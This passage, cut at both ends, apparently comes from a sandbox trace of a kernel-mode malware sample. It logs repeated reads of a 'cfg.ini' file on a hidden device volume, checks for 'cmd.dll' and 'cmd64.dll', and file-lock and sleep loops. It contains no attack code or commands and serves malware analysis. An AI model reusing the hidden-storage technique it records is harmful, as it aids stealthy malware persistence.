_MaxCount=0x10) returned 7 [0123.954] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.954] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.954] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc6460 [0123.954] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.954] KeLeaveCriticalRegion () [0123.954] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.954] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.954] KeEnterCriticalRegion () [0123.954] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.954] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.954] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.954] KeLeaveCriticalRegion () [0123.954] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.954] KeEnterCriticalRegion () [0123.954] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.955] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.955] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.955] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.955] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0123.955] IdePortDispatch () returned 0x103 [0123.955] KeWaitForMutexObject () returned 0x0 [0123.955] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.955] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.955] KeLeaveCriticalRegion () [0123.955] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.955] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.955] KeEnterCriticalRegion () [0123.955] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.955] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034ba000 [0123.955] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.955] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.955] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.955] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0123.955] IdePortDispatch () returned 0x103 [0123.955] KeWaitForMutexObject () returned 0x0 [0123.956] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.956] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.956] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.956] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.956] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0123.956] IdePortDispatch () returned 0x103 [0123.956] KeWaitForMutexObject () returned 0x0 [0123.956] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.956] KeLeaveCriticalRegion () [0123.956] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.956] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.957] KeEnterCriticalRegion () [0123.957] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.957] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.957] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.957] KeLeaveCriticalRegion () [0123.957] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.957] KeEnterCriticalRegion () [0123.957] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.957] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0123.957] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beef20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.957] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.957] KeLeaveCriticalRegion () [0123.957] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.957] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.957] KeEnterCriticalRegion () [0123.957] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.957] ExFreePoolWithTag (P=0xfffffa8003bc6460, Tag=0x0) [0123.957] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.957] KeLeaveCriticalRegion () [0123.957] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.957] ReleaseMutex (hMutex=0xf0) returned 1 [0123.957] Sleep (dwMilliseconds=0x124f80) [0123.973] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.973] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.973] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.974] KeEnterCriticalRegion () [0123.974] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.974] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.974] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.974] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.974] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0123.974] IdePortDispatch () returned 0x103 [0123.974] KeWaitForMutexObject () returned 0x0 [0123.974] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.974] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.974] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.974] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.974] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.974] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bee720 [0123.974] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.974] KeLeaveCriticalRegion () [0123.974] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.974] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.974] KeEnterCriticalRegion () [0123.974] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.974] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.974] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.974] KeLeaveCriticalRegion () [0123.974] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.974] KeEnterCriticalRegion () [0123.974] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.974] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.974] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.974] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.974] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0123.974] IdePortDispatch () returned 0x103 [0123.974] KeWaitForMutexObject () returned 0x0 [0123.975] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.975] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.975] KeLeaveCriticalRegion () [0123.975] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.975] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.975] KeEnterCriticalRegion () [0123.975] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.975] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034bf000 [0123.975] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.975] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.975] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.975] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0123.975] IdePortDispatch () returned 0x103 [0123.975] KeWaitForMutexObject () returned 0x0 [0123.975] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.975] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.975] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.976] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.976] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0123.976] IdePortDispatch () returned 0x103 [0123.976] KeWaitForMutexObject () returned 0x0 [0123.976] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.976] KeLeaveCriticalRegion () [0123.976] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.977] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.977] KeEnterCriticalRegion () [0123.977] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.977] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.977] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.977] KeLeaveCriticalRegion () [0123.977] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.977] KeEnterCriticalRegion () [0123.977] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.977] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0123.977] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bee830, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.977] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.977] KeLeaveCriticalRegion () [0123.977] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.977] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.977] KeEnterCriticalRegion () [0123.977] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.977] ExFreePoolWithTag (P=0xfffffa8003bee720, Tag=0x0) [0123.977] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.977] KeLeaveCriticalRegion () [0123.977] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.977] ReleaseMutex (hMutex=0xf0) returned 1 [0123.977] Sleep (dwMilliseconds=0x124f80) [0123.994] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.994] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.994] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.994] KeEnterCriticalRegion () [0123.994] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.994] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.994] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.994] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.994] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0123.994] IdePortDispatch () returned 0x103 [0123.994] KeWaitForMutexObject () returned 0x0 [0123.994] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.994] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.994] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.994] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.994] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.994] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bee870 [0123.994] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.994] KeLeaveCriticalRegion () [0123.994] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.994] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.994] KeEnterCriticalRegion () [0123.994] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.994] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.994] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.994] KeLeaveCriticalRegion () [0123.995] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.995] KeEnterCriticalRegion () [0123.995] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.995] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.995] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.995] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.995] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0123.995] IdePortDispatch () returned 0x103 [0123.995] KeWaitForMutexObject () returned 0x0 [0123.995] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.995] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.995] KeLeaveCriticalRegion () [0123.995] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.995] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.995] KeEnterCriticalRegion () [0123.995] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.995] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034c4000 [0123.995] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.995] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.995] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.995] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0123.995] IdePortDispatch () returned 0x103 [0123.995] KeWaitForMutexObject () returned 0x0 [0123.996] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.996] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.996] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.996] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.996] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0123.996] IdePortDispatch () returned 0x103 [0123.996] KeWaitForMutexObject () returned 0x0 [0123.996] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.996] KeLeaveCriticalRegion () [0123.996] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.997] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.997] KeEnterCriticalRegion () [0123.997] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.997] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.997] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.997] KeLeaveCriticalRegion () [0123.997] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.997] KeEnterCriticalRegion () [0123.997] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.997] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0123.997] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003befe70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.997] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.997] KeLeaveCriticalRegion () [0123.997] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.997] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.997] KeEnterCriticalRegion () [0123.997] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.997] ExFreePoolWithTag (P=0xfffffa8003bee870, Tag=0x0) [0123.997] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.997] KeLeaveCriticalRegion () [0123.997] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.997] ReleaseMutex (hMutex=0xf0) returned 1 [0123.997] Sleep (dwMilliseconds=0x124f80) [0124.015] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.015] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.015] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.015] KeEnterCriticalRegion () [0124.015] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.015] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.015] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0124.015] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.015] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0124.015] IdePortDispatch () returned 0x103 [0124.015] KeWaitForMutexObject () returned 0x0 [0124.015] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.015] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.015] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.015] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.015] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.015] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bee970 [0124.015] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.015] KeLeaveCriticalRegion () [0124.015] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.016] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.016] KeEnterCriticalRegion () [0124.016] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.016] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0124.016] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.016] KeLeaveCriticalRegion () [0124.016] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.016] KeEnterCriticalRegion () [0124.016] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.016] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.016] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0124.016] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.016] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0124.016] IdePortDispatch () returned 0x103 [0124.016] KeWaitForMutexObject () returned 0x0 [0124.016] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.016] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.016] KeLeaveCriticalRegion () [0124.016] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.016] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.016] KeEnterCriticalRegion () [0124.016] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.016] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, 